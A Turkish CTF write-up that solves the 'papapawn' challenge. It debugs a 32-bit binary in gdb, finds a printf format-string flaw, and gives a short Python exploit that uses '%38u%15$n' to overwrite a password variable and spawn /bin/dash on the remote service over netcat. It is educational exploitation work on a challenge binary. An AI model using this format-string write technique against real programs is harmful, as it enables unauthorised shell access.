

İkinci Soru Çözüm

Birinci soruda olduğu gibi yine bize dosya verilmiş ve aynı şekilde bu dosyayı analiz ederek sunucuyu pwn etmeye çalışacağız. Hızlıca göz atalım dosyaya:

```
ltr@RECE-3:~/STMCTF$ file papapawn
papapawn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=307f3437e8ca6feb1a3a8e644f380ecef16da0fe, not stripped
ltr@RECE-3:~/STMCTF$
```

Çalıştırıp biraz bakalım:

→ yan sayfa

[illegible]

```
1) Para Yatir
2) Hesabimi Goruntule
Q) Cikis
2
Seciminiz 2
```

```
Seciminiz:
1) Para Yatir
2) Hesabimi Goruntule
Q) Cikis
1
Seciminiz 1
```

```

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASeciminiz:
1) Para Yatir
2) Hesabimi Goruntule
0) Cikis
Seciminiz AAAaaa

```

- 1) Para Yatir
- 2) Hesabimi Goruntule
- 0) Cikis

- Overflow yok, çünkü bizim girdiğimiz inputu kırptıyor.

-> objdump -S papapawn -M intel

```
8048910: 83 ec 0c          sub    esp,0xc
804891e: 68 46 90 04 08    push  0x8049046
8048923: e8 c8 fb ff ff    call  80484f0 <puts@plt>
8048928: 83 c4 10          add    esp,0x10
804892b: 83 ec 04          sub    esp,0x4
804892e: 6a 40            push  0x40
8048930: 6a 00            push  0x0
8048932: 8d 45 b4          lea    eax,[ebp-0x4c]
8048935: 50               push  eax
8048936: e8 05 fc ff ff    call  8048540 <memset@plt>
804893b: 83 c4 10          add    esp,0x10
804893e: a1 60 b0 04 08    mov    eax,ds:0x804b060
8048943: 83 ec 04          sub    esp,0x4
8048946: 50               push  eax
8048947: 6a 40            push  0x40
8048949: 8d 45 b4          lea    eax,[ebp-0x4c]
804894c: 50               push  eax
804894d: e8 6e fb ff ff    call  80484c0 <fgets@plt>
8048952: 83 c4 10          add    esp,0x10
8048955: 83 ec 0c          sub    esp,0xc
```

Biraz dikkatlice main'e bakarsak zaten 0x40 yani 64 byte'lık bir yer ile aldığını anlıyoruz.

Demek ki overflow yok o zaman biraz daha debug edelim:

→ yan sayfa

```

[-----registers-----]
EAX: 0xffffd10c ('A' <repeats 63 times>)
EBX: 0x0
ECX: 0xf7f9c89c --> 0x0
EDX: 0xffffd10c ('A' <repeats 63 times>)
ESI: 0xf7f9b000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xffffd158 --> 0x0
ESP: 0xffffd0d0 --> 0xffffd10c ('A' <repeats 63 times>)
EIP: 0x804895c (<main+363>: call 0x80484b0 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x8048955 <main+356>: sub esp,0xc
0x8048958 <main+359>: lea eax,[ebp-0x4c]
0x804895b <main+362>: push eax
=> 0x804895c <main+363>: call 0x80484b0 <printf@plt>
0x8048961 <main+368>: add esp,0x10
0x8048964 <main+371>: call 0x80487d9 <checkPassword>
0x8048969 <main+376>: jmp 0x8048993 <main+418>
0x804896b <main+378>: sub esp,0x8
Guessed arguments:
arg[0]: 0xffffd10c ('A' <repeats 63 times>)
[-----stack-----]
0000| 0xffffd0d0 --> 0xffffd10c ('A' <repeats 63 times>)
0004| 0xffffd0d4 --> 0x40 ('@')
0008| 0xffffd0d8 --> 0xf7f9b5c0 --> 0xfbad2288
0012| 0xffffd0dc --> 0x804882e (<main+61>: mov DWORD PTR [ebp-0x5c],0x1)
0016| 0xffffd0e0 --> 0x0
0020| 0xffffd0e4 --> 0x1
0024| 0xffffd0e8 --> 0xf7ffd940 --> 0x0
0028| 0xffffd0ec --> 0xffffd204 --> 0xffffd392 ("/home/ltr/STMCTF/papapawn")
[-----]
Legend: code, data, rodata, value
0x804895c in main ()
gdb-peda$ █

```

Çok ilginç bişey oldu. Printf var ama ilk arg olarak girdiğimiz A değerlerini alıyor. Halbuki şöyle bişey olmalıydı:

```
printf("seciminiz : %s\n", "AAAA...");
```

Konuya hakim arkadaşlar hemen anlamıştır. Burda bir string format var. Bu cebimizde kalsın biz debug etmeye devam edelim.

Yukarıdaki fotoda anlaşıldığı gibi yolumuza devam ettiğimizde checkPassword fonksiyonuna atlıyoruz. Orda ise çok ilginç bişey var:

→ yan sayfa


```

Registers
EAX: 0x0
EBX: 0x0
ECX: 0x3f ('?')
EDX: 0xf7f9c890 --> 0x0
ESI: 0xf7f9b000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xffffd0d8 --> 0xffffd158 --> 0x0
ESP: 0xffffd0d0 --> 0xffffd10c ('A' <repeats 63 times>)
EIP: 0x80487e4 (<checkPassword+11>:      cmp     eax,0x2a)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

[-----code-----]
0x80487da <checkPassword+1>: mov     ebp,esp
0x80487dc <checkPassword+3>: sub     esp,0x8
0x80487df <checkPassword+6>: mov     eax,ds:0x804b06c
=> 0x80487e4 <checkPassword+11>:      cmp     eax,0x2a
0x80487e7 <checkPassword+14>:      jne     0x80487ee <checkPassword+21>
0x80487e9 <checkPassword+16>:      call   0x80487a4 <paraYatir>
0x80487ee <checkPassword+21>:      nop
0x80487ef <checkPassword+22>:      leave

[-----stack-----]
0000| 0xffffd0d0 --> 0xffffd10c ('A' <repeats 63 times>)
0004| 0xffffd0d4 --> 0x40 ('@')
0008| 0xffffd0d8 --> 0xffffd158 --> 0x0
0012| 0xffffd0dc --> 0x8048969 (<main+376>:      jmp     0x8048993 <main+418>)
0016| 0xffffd0e0 --> 0x0
0020| 0xffffd0e4 --> 0x1
0024| 0xffffd0e8 --> 0xf7ffd940 --> 0x0
0028| 0xffffd0ec --> 0xffffd204 --> 0xffffd392 ("/home/ltr/STMCTF/papapawn")

Legend: code, data, rodata, value
0x080487e4 in checkPassword ()
gdb-peda$

```

```

gdb-peda$ x/wx 0x804b06c
0x804b06c <parola>:      0x00000000
gdb-peda$

```

Burda 0x804b06c adresinden değer alıp EAX'a atıyor. Ondan hemen sonraki işleme geldik EAX'a baktığımızda değer 0 ve onu 0x2a ile karşılaştırıyor. Bu değer char olarak (*) yıldız işaretine denk geliyor. Eğer ki eşik değilse(jne -> jump not equal) +21'e atla o adres zaten fotoda gözükyor ilk önce nop sonra leave, fakat eğer ki eşit ise paraYatir fonksiyonuna atlıyor. Oraya bir göz atalım:

```

gdb-peda$ disas paraYatir
Dump of assembler code for function paraYatir:
   0x080487a4 <+0>:      push    ebp
   0x080487a5 <+1>:      mov     ebp,esp
   0x080487a7 <+3>:      sub     esp,0x18
   0x080487aa <+6>:      call   0x80484e0 <getegid@plt>
   0x080487af <+11>:     mov     DWORD PTR [ebp-0xc],eax
   0x080487b2 <+14>:     sub     esp,0x4
   0x080487b5 <+17>:     push   DWORD PTR [ebp-0xc]
   0x080487b8 <+20>:     push   DWORD PTR [ebp-0xc]
   0x080487bb <+23>:     push   DWORD PTR [ebp-0xc]
   0x080487be <+26>:     call   0x8048550 <setresgid@plt>
   0x080487c3 <+31>:     add     esp,0x10
   0x080487c6 <+34>:     sub     esp,0xc
   0x080487c9 <+37>:     push   0x8048fea
   0x080487ce <+42>:     call   0x8048500 <system@plt>
   0x080487d3 <+47>:     add     esp,0x10
   0x080487d6 <+50>:     nop
   0x080487d7 <+51>:     leave
   0x080487d8 <+52>:     ret
End of assembler dump.
gdb-peda$ set $eax=0x2a

```

```

[-----Code-----]
   0x80487da <checkPassword+1>: mov     ebp,esp
   0x80487dc <checkPassword+3>: sub     esp,0x8
   0x80487df <checkPassword+6>: mov     eax,ds:0x804b06c
=> 0x80487e4 <checkPassword+11>: cmp     eax,0x2a
   0x80487e7 <checkPassword+14>: jne     0x80487ee <checkPassword+21>
   0x80487e9 <checkPassword+16>: call    0x80487a4 <paraYatir>
   0x80487ee <checkPassword+21>: nop
   0x80487ef <checkPassword+22>: leave
[-----stack-----]
0000| 0xffffd0d0 --> 0xffffd10c ('A' <repeats 53 times>, "\n")
0004| 0xffffd0d4 --> 0x40 ('@')
0008| 0xffffd0d8 --> 0xffffd158 --> 0x0
0012| 0xffffd0dc --> 0x8048969 (<main+376>:      jmp     0x8048993 <main+418>)
0016| 0xffffd0e0 --> 0x0
0020| 0xffffd0e4 --> 0x1
0024| 0xffffd0e8 --> 0xf7fd940 --> 0x0
0028| 0xffffd0ec --> 0xffffd204 --> 0xffffd392 ("/home/ltr/STMCTF/papapawn")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x80487e4 in checkPassword ()
gdb-peda$ set $eax=0x2a
gdb-peda$ c
Continuing.
[New process 2686]
process 2686 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x80487e4

gdb-peda$

```

Anlaşıldığı üzere biz parola adresine(0x804b06c) yıldız işareti yazdırırsak /bin/dash çalıştıracak ve işi bitirmiş olacağız.

Bilmeyen arkadaşlar için string format hakkında birkaç şey söyleyelim. String bastırırken %s ve benzeri escape kullanmak gerekir, aksi halde yazdığınız risk altındadır. Eğer ki saldırgan input yerine %x, %p gibi karakterler girerse memoryden okuyabilir. Örnek:

```
Parola giriniz:
%x.%x.%x.%x
40.f7f525c0.804882e.0
Seciminiz:
1) Para Yatir
2) Hesabimi Goruntule
Q) Cikis
█
```

Gördüğünüz gibi %x basmak yerine memoryden hex değerleri basıyor. String format atağı adreslere byte yazmak ile olur. %n specifier var ve bu specifier verilen adrese byte yazdırır. Uzun uzun anlatmak yerine kısaca bir foto ve fotonun linkini veriyim:

Nothing printed. The argument must be a pointer to a signed int, where the number of characters written so far is stored.

```
#include <stdio.h>

int main()
{
    int val;

    printf("blah %n blah\n", &val);

    printf("val = %d\n", val);

    return 0;
}
```

The previous code prints:

```
blah  blah
val = 5
```

<https://stackoverflow.com/questions/3401156/what-is-the-use-of-the-n-format-specifier-in-c>

Val değeri ikinci printf'de 5 olmuş bunun nedeni %n'den önce 5 byte var (blah kelimesi 4 + bir adet boşluk). Bizim yapmamız gereken şey %n ile o adrese yazdırmak ama önce o adresi başa direkt erişim sağlamalıyız ve bunun için ise %<pattern>\$n vererek memorydeki ilk adrese değilde 15. Adrese yazdırabiliriz. Önce pattern bulalım:

```
Parola giriniz:
AAAA.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
AAAA.40.f7f455c0.804882e.0.1.f7fa7940.ff9c06f4.0.c30000.0.1.1.31.0.41414141.2e78252e.252e7825.78252e78.2e78252e
Seciminiz:
1) Para Yatir
2) Hesabimi Goruntule
Q) Cikis
█
```

```
Parola giriniz:
AAAA.%15$x
AAAA.41414141
Seciminiz:
1) Para Yatir
2) Hesabimi Goruntule
Q) Cikis
```

Noktalar arasını sayarsak girdiğimiz AAAA harflerinin karşılığı olan 0x41414141 değerleri 15. Yerde saklanıyor yani %15\$n yaparsak 0x41414141 adresine yazdırmaya çalışacağız. Debug edelim:

```
Seciminiz:
1) Para Yatir
2) Hesabimi Goruntule
Q) Cikis
1
Seciminiz 1

Parola giriniz:
AAAA%15$n

Program received signal SIGSEGV, Segmentation fault.
```

Bir hata aldık hemen bakalım:


```

[-----registers-----]
EAX: 0x41414141 ('AAAA')
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0x4
EDI: 0xffff9d30 --> 0xffffffff
EBP: 0xfffffa578 --> 0xfffffaaa8 --> 0xffffd0a8 --> 0xffffd158 --> 0x0
ESP: 0xffff9c80 --> 0x0
EIP: 0xf7e0ddb5 (mov     DWORD PTR [eax],esi)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0xf7e0ddaa: test     ecx,ecx
0xf7e0ddac: jne      0xf7e0dec8
0xf7e0ddb2: mov     esi,DWORD PTR [ebp+0x10]
=> 0xf7e0ddb5: mov     DWORD PTR [eax],esi
0xf7e0ddb7: jmp      0xf7e0c380
0xf7e0ddbc: mov     edi,DWORD PTR [ebp-0x8a8]
0xf7e0ddc2: mov     DWORD PTR [ebp-0x890],esi
0xf7e0ddc8: jmp      0xf7e0d8e6

```

ESI değerini EAX'ın içindeki adresin içine yazdırmak istiyor ama bu adres valid değil bu yüzden fault aldık. 0x41414141 adresi yerine parola adresi olsa ve ESI değerini ise yıldız işareti yani 0x2a yaparsak tamamdır. 0x2a decimal olarak 42 eder uzun olarak adres(4byte) + 38 tane a girebiliriz ama kolay yolu %u kullanmak.

Exploitimiz:

```

ltr@RECE-3:~/STMCTF$ cat exploit.py
#!/usr/bin/python

address = "\x6c\xb0\x04\x08" #804b06c

number = "%38u%15$n" # 4 byte address + 38u

print "1"
print address + number
ltr@RECE-3:~/STMCTF$

```

NOT: little-endian

NOT: ilk girdi için 1\n

Çalıştırılım:

→ yan sayfada

[illegible]

./papapawn yerine nc -vv x.x.x.x 7777 yazıp çalıştırırsanız shell alırsınız flag zaten o dizindeydi